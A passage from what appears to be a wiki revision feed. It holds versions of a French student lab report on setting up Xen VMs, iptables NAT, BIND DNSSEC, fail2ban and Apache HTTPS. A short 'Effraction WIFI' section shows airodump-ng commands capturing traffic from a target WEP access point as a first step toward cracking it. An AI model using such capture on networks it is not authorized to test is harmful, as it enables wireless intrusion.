On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12049</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12049"/>
		<updated>2026-02-03T16:30:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12048</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12048"/>
		<updated>2026-02-03T16:22:37Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
